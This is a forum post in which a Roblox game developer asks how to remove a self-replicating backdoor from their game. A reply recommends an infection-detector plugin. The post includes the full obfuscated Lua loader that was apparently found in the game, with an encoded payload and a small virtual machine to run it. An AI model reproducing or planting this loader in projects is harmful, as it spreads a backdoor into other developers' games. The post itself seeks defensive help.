hi!! Me and a friend are working on a roleplay game. We've been working very hard at this, and we're almost ready to open the game!!
..unfortunately, we found a hacker backdoor in the game:
local i=string.byte;local f=string.char;local c=string.sub;local A=table.concat;local l=table.insert;local b=math.ldexp;local u=getfenv or function()return _ENV end;local l=setmetatable;local h=select;local l=unpack or table.unpack;local r=tonumber;local function s(i)local e,n,o="","",{}local a=256;local t={}for l=0,a-1 do t[l]=f(l)end;local l=1;local function d()local e=r(c(i,l,l),36)l=l+1;local n=r(c(i,l,l+e-1),36)l=l+e;return n end;e=f(d())o[1]=e;while l<#i do local l=d()if t[l]then n=t[l]else n=e..c(e,1,1)end;t[a]=e..c(n,1,1)o[#o+1],e,a=n,n,a+1 end;return table.concat(o)end;local d=s('25125027525124X27525025G25Z25X26026025024W27924M24M27927427525224L25027M27925025227927U27M25B27L27Z27524Y27L24Z27925I25T25H25D26528625127H27525F25X25I26227727925G25I26526225C28J27525T25I25I26325I25128427525V25T25C25U25T26225E27U27525U26C26P22I26T25024H27I27K27629G27Q27T27924Y24K27927827427424W27R29Q27G27R25729K27J2802502A027425329M29O27525A29K29S27R2A92AB27929Y2742A029I2752A327G29M2782752AG29K29T2AF2AR27R24G29Z29H2502AO27524N27Z27U24425427S29Z29I28227V2BB27X2A127S');local o=bit and bit.bxor or function(l,n)local e,o=1,0 while l>0 and n>0 do local c,t=l%2,n%2 if c~=t then o=o+e end l,n,e=(l-c)/2,(n-t)/2,e*2 end if l<n then l=n end while l>0 do local n=l%2 if n>0 then o=o+e end l,e=(l-n)/2,e*2 end return o end local function n(e,l,n)if n then local l=(e/2^(l-1))%2^((n-1)-(l-1)+1);return l-l%1;else local l=2^(l-1);return(e%(l+l)>=l)and 1 or 0;end;end;local l=1;local function e()local t,n,e,c=i(d,l,l+3);t=o(t,180)n=o(n,180)e=o(e,180)c=o(c,180)l=l+4;return(c*16777216)+(e*65536)+(n*256)+t;end;local function a()local e=o(i(d,l,l),180);l=l+1;return e;end;local function t()local e,n=i(d,l,l+2);e=o(e,180)n=o(n,180)l=l+2;return(n*256)+e;end;local function I()local l=e();local e=e();local c=1;local o=(n(e,1,20)*(2^32))+l;local l=n(e,21,31);local e=((-1)^n(e,32));if(l==0)then if(o==0)then return e*0;else l=1;c=0;end;elseif(l==2047)then return(o==0)and(e*(1/0))or(e*(0/0));end;return b(e,l-1023)*(c+(o/(2^52)));end;local r=e;local function b(e)local n;if(not e)then e=r();if(e==0)then return'';end;end;n=c(d,l,l+e-1);l=l+e;local e={}for l=1,#n do e[l]=f(o(i(c(n,l,l)),180))end return A(e);end;local l=e;local function s(...)return{...},h('#',...)end local function i()local f={};local d={};local l={};local r={f,d,nil,l};local l=e()local o={}for n=1,l do local e=a();local l;if(e==0)then l=(a()~=0);elseif(e==2)then l=I();elseif(e==1)then l=b();end;o[n]=l;end;r[3]=a();for i=1,e()do local l=a();if(n(l,1,1)==0)then local c=n(l,2,3);local a=n(l,4,6);local l={t(),t(),nil,nil};if(c==0)then l[3]=t();l[4]=t();elseif(c==1)then l[3]=e();elseif(c==2)then l[3]=e()-(2^16)elseif(c==3)then l[3]=e()-(2^16)l[4]=t();end;if(n(a,1,1)==1)then l[2]=o[l[2]]end if(n(a,2,2)==1)then l[3]=o[l[3]]end if(n(a,3,3)==1)then l[4]=o[l[4]]end f[i]=l;end end;for l=1,e()do d[l-1]=i();end;return r;end;local function t(l,e,c)local e=l[1];local n=l[2];local l=l[3];return function(...)local r=e;local a=n;local n=l;local l=s local o=1;local l=-1;local f={};local i={...};local d=h('#',...)-1;local l={};local e={};for l=0,d do if(l>=n)then f[l-n]=i[l+1];else e[l]=i[l+1];end;end;local l=d-n+1 local l;local n;while true do l=r[o];n=l[1];if n<=9 then if n<=4 then if n<=1 then if n>0 then o=l[3];else e[l[2]]=l[3];end;elseif n<=2 then local l=l[2]e[l](e[l+1])elseif n>3 then e[l[2]]=c[l[3]];else e[l[2]]=l[3];end;elseif n<=6 then if n>5 then do return end;else if(e[l[2]]==e[l[4]])then o=o+1;else o=l[3];end;end;elseif n<=7 then o=l[3];elseif n==8 then e[l[2]]=e[l[3]][l[4]];else e[l[2]]=t(a[l[3]],nil,c);end;elseif n<=14 then if n<=11 then if n>10 then do return end;else local l=l[2]e[l](e[l+1])end;elseif n<=12 then e[l[2]]=e[l[3]][l[4]];elseif n>13 then if(e[l[2]]==e[l[4]])then o=o+1;else o=l[3];end;else local l=l[2]e[l]=e[l]()end;elseif n<=16 then if n==15 then if(e[l[2]]~=e[l[4]])then o=o+1;else o=l[3];end;else if(e[l[2]]~=e[l[4]])then o=o+1;else o=l[3];end;end;elseif n<=17 then e[l[2]]=t(a[l[3]],nil,c);elseif n==18 then e[l[2]]=c[l[3]];else local l=l[2]e[l]=e[l]()end;o=o+1;end;end;end;return t(i(),{},u())();
....and we don't know how to get rid of it.
The script is copying itself into other models, and the name of each script is one character long every time.
Does anyone have a plugin or something we can do to get rid of this? We tried deleting every script containing this, but they keep coming back. I know this isn't really a scripting help question, but I don't have an account on the roblox dev forums (I tried but I never got in) and we're not sure where else to ask or what to do.
Any help is greatly appreciated!
This virus scanning plugin seems to be popular on the dev forums
Plugin: https://www.roblox.com/library/2670956620/Hidden-Infection-Script-Detector
Instructions from the dev forum post:
How to use:
As of V2.1.0 this plugin now also checks for known malicious plugins.